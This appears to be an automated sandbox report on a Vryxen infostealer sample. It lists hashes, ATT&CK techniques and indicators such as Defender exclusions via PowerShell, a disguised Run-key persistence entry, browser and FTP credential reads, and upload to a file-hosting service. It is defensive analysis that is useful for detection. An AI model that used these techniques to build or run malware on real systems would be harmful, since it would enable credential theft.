vryxen | 813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae

Analysis

max time kernel
150s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 15:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
Size 10.5MB
Sample260809-sycdnatvbv
SHA256 813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae
MD5 41e9d226aa36e38baabd337d55f7e8a7
SHA1 269e02fc8d8a5482ecbe5583a23238505682929e
SHA512 10d49cd9124cb53bffc146055836b8cba3f6864b42f3b26045c5cc6b88b68d9f72d6c5b9f2b16dddd1d6906b317979c2cae5a92b0a1dd2800e3ae944c91fb114
SSDEEP 98304:nzJPU3T2z/mhcDHWe2Wo550ZJzzNKsJ10fp790FDEr:n5UDbcD2e2P5+L0h79Lr
TLSH
T1B0B64A47ECA541E9C0ADD5358A669163BA713C884F3423D72F60FB242F76BE0AE79740
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution vryxen persistence privilege_escalation spyware stealer trojan

Malware Config

Signatures

Family: Vryxen
Vryxen is an open-source stealer written in Golang.
stealer vryxen

Detects Vryxen stealer 1 IoCs

resource	yara_rule
behavioral2/files/0x0003000000016d0c-6.dat	family_vryxen

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1392	powershell.exe
1240	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1240	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
1124	SecurityHealthSystray.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
7	api.gofile.io
10	api.gofile.io

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
7	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Detect suspicious telegram bot 1 IoCs

Detect suspicious telegram bot.

resource	yara_rule
behavioral2/files/0x0003000000016d0c-6.dat	suspicious_telegram_bot

Discovers running processes 1 TTPs 36 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3420	tasklist.exe
1112	tasklist.exe
2204	tasklist.exe
1684	tasklist.exe
3364	tasklist.exe
1168	tasklist.exe
4716	tasklist.exe
5616	tasklist.exe
4864	tasklist.exe
2440	tasklist.exe
4844	tasklist.exe
4812	tasklist.exe
1776	tasklist.exe
2780	tasklist.exe
2688	tasklist.exe
3648	tasklist.exe
5940	tasklist.exe
4852	tasklist.exe
5644	tasklist.exe
3500	tasklist.exe
5228	tasklist.exe
4144	tasklist.exe
4080	tasklist.exe
3176	tasklist.exe
2856	tasklist.exe
1324	tasklist.exe
2224	tasklist.exe
772	tasklist.exe
5020	tasklist.exe
2380	tasklist.exe
1552	tasklist.exe
3556	tasklist.exe
2776	tasklist.exe
3360	tasklist.exe
4892	tasklist.exe
4304	tasklist.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 34 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2152	cmd.exe
3868	cmd.exe
960	cmd.exe
4364	cmd.exe
4724	cmd.exe
2904	cmd.exe
1904	cmd.exe
5504	cmd.exe
5568	cmd.exe
3396	cmd.exe
2036	cmd.exe
4816	cmd.exe
2500	cmd.exe
5184	cmd.exe
5956	cmd.exe
1624	cmd.exe
1428	cmd.exe
5916	cmd.exe
4664	cmd.exe
2912	cmd.exe
5524	cmd.exe
4200	cmd.exe
1108	cmd.exe
5376	cmd.exe
2628	cmd.exe
2432	cmd.exe
1208	cmd.exe
6140	cmd.exe
1188	cmd.exe
5468	cmd.exe
5816	cmd.exe
964	cmd.exe
3464	cmd.exe
3960	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c614000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1576	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3496	wmic.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	13	Go-http-client/1.1

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
244	wmic.exe
244	wmic.exe
244	wmic.exe
244	wmic.exe
1392	powershell.exe
1392	powershell.exe
1392	powershell.exe
2692	wmic.exe
2692	wmic.exe
2692	wmic.exe
2692	wmic.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3496	wmic.exe
3496	wmic.exe
3496	wmic.exe
3496	wmic.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
4380	wmic.exe
4380	wmic.exe
4380	wmic.exe
4380	wmic.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe
Token: SeDebugPrivilege	2224	tasklist.exe
Token: SeDebugPrivilege	3360	tasklist.exe
Token: SeDebugPrivilege	4716	tasklist.exe
Token: SeDebugPrivilege	4144	tasklist.exe
Token: SeDebugPrivilege	5616	tasklist.exe
Token: SeDebugPrivilege	5940	tasklist.exe
Token: SeDebugPrivilege	4852	tasklist.exe
Token: SeDebugPrivilege	4844	tasklist.exe
Token: SeDebugPrivilege	4892	tasklist.exe
Token: SeDebugPrivilege	2380	tasklist.exe
Token: SeDebugPrivilege	4864	tasklist.exe
Token: SeDebugPrivilege	3420	tasklist.exe
Token: SeDebugPrivilege	1168	tasklist.exe
Token: SeDebugPrivilege	1324	tasklist.exe
Token: SeDebugPrivilege	5644	tasklist.exe
Token: SeDebugPrivilege	772	tasklist.exe
Token: SeDebugPrivilege	4304	tasklist.exe
Token: SeDebugPrivilege	3500	tasklist.exe
Token: SeDebugPrivilege	4812	tasklist.exe
Token: SeDebugPrivilege	1552	tasklist.exe
Token: SeDebugPrivilege	4080	tasklist.exe
Token: SeDebugPrivilege	1112	tasklist.exe
Token: SeDebugPrivilege	2440	tasklist.exe
Token: SeDebugPrivilege	3556	tasklist.exe
Token: SeDebugPrivilege	3176	tasklist.exe
Token: SeDebugPrivilege	1776	tasklist.exe
Token: SeDebugPrivilege	2856	tasklist.exe
Token: SeDebugPrivilege	2204	tasklist.exe
Token: SeDebugPrivilege	2780	tasklist.exe
Token: SeDebugPrivilege	2776	tasklist.exe
Token: SeDebugPrivilege	5020	tasklist.exe
Token: SeDebugPrivilege	1684	tasklist.exe
Token: SeDebugPrivilege	2688	tasklist.exe
Token: SeDebugPrivilege	3648	tasklist.exe
Token: SeDebugPrivilege	3364	tasklist.exe
Token: SeSystemEnvironmentPrivilege	1356	svchost.exe
Token: SeDebugPrivilege	5228	tasklist.exe
Token: SeDebugPrivilege	1124	SecurityHealthSystray.exe
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeIncreaseQuotaPrivilege	244	wmic.exe
Token: SeSecurityPrivilege	244	wmic.exe
Token: SeTakeOwnershipPrivilege	244	wmic.exe
Token: SeLoadDriverPrivilege	244	wmic.exe
Token: SeSystemProfilePrivilege	244	wmic.exe
Token: SeSystemtimePrivilege	244	wmic.exe
Token: SeProfSingleProcessPrivilege	244	wmic.exe
Token: SeIncBasePriorityPrivilege	244	wmic.exe
Token: SeCreatePagefilePrivilege	244	wmic.exe
Token: SeBackupPrivilege	244	wmic.exe
Token: SeRestorePrivilege	244	wmic.exe
Token: SeShutdownPrivilege	244	wmic.exe
Token: SeDebugPrivilege	244	wmic.exe
Token: SeSystemEnvironmentPrivilege	244	wmic.exe
Token: SeRemoteShutdownPrivilege	244	wmic.exe
Token: SeUndockPrivilege	244	wmic.exe
Token: SeManageVolumePrivilege	244	wmic.exe
Token: 33	244	wmic.exe
Token: 34	244	wmic.exe
Token: 35	244	wmic.exe
Token: 36	244	wmic.exe
Token: SeIncreaseQuotaPrivilege	244	wmic.exe
Token: SeSecurityPrivilege	244	wmic.exe
Token: SeTakeOwnershipPrivilege	244	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3284 wrote to memory of 4364	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	90
PID 4364 wrote to memory of 2224	4364	cmd.exe	91
PID 3284 wrote to memory of 2500	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	93
PID 2500 wrote to memory of 3360	2500	cmd.exe	94
PID 3284 wrote to memory of 5916	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	95
PID 5916 wrote to memory of 4716	5916	cmd.exe	96
PID 3284 wrote to memory of 4664	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	97
PID 4664 wrote to memory of 4144	4664	cmd.exe	98
PID 3284 wrote to memory of 5184	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	99
PID 5184 wrote to memory of 5616	5184	cmd.exe	100
PID 3284 wrote to memory of 5568	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	101
PID 5568 wrote to memory of 5940	5568	cmd.exe	102
PID 3284 wrote to memory of 5956	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	103
PID 5956 wrote to memory of 4852	5956	cmd.exe	104
PID 3284 wrote to memory of 3396	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	105
PID 3396 wrote to memory of 4844	3396	cmd.exe	106
PID 3284 wrote to memory of 1624	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	107
PID 1624 wrote to memory of 4892	1624	cmd.exe	108
PID 3284 wrote to memory of 1188	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	109
PID 1188 wrote to memory of 2380	1188	cmd.exe	110
PID 3284 wrote to memory of 5468	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	111
PID 5468 wrote to memory of 4864	5468	cmd.exe	112
PID 3284 wrote to memory of 4724	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	113
PID 4724 wrote to memory of 3420	4724	cmd.exe	114
PID 3284 wrote to memory of 5376	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	115
PID 5376 wrote to memory of 1168	5376	cmd.exe	116
PID 3284 wrote to memory of 2036	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	117
PID 2036 wrote to memory of 1324	2036	cmd.exe	118
PID 3284 wrote to memory of 5816	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	119
PID 5816 wrote to memory of 5644	5816	cmd.exe	120
PID 3284 wrote to memory of 2152	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	121
PID 2152 wrote to memory of 772	2152	cmd.exe	122
PID 3284 wrote to memory of 2912	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	123
PID 2912 wrote to memory of 4304	2912	cmd.exe	124
PID 3284 wrote to memory of 3868	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	125
PID 3868 wrote to memory of 3500	3868	cmd.exe	126
PID 3284 wrote to memory of 960	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	127
PID 960 wrote to memory of 4812	960	cmd.exe	128
PID 3284 wrote to memory of 1208	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	129
PID 1208 wrote to memory of 1552	1208	cmd.exe	130
PID 3284 wrote to memory of 964	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	131
PID 964 wrote to memory of 4080	964	cmd.exe	132
PID 3284 wrote to memory of 6140	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	133
PID 6140 wrote to memory of 1112	6140	cmd.exe	134
PID 3284 wrote to memory of 1428	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	135
PID 1428 wrote to memory of 2440	1428	cmd.exe	136
PID 3284 wrote to memory of 2904	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	137
PID 2904 wrote to memory of 3556	2904	cmd.exe	138
PID 3284 wrote to memory of 1904	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	139
PID 1904 wrote to memory of 3176	1904	cmd.exe	140
PID 3284 wrote to memory of 5524	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	141
PID 5524 wrote to memory of 1776	5524	cmd.exe	142
PID 3284 wrote to memory of 4200	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	143
PID 4200 wrote to memory of 2856	4200	cmd.exe	144
PID 3284 wrote to memory of 1108	3284	813ae10870c459bcf6aaa22b64b4770020f85abf27c6d0de2e85daa0eac642ae.exe	145
PID 1108 wrote to memory of 2204	1108	cmd.exe	146
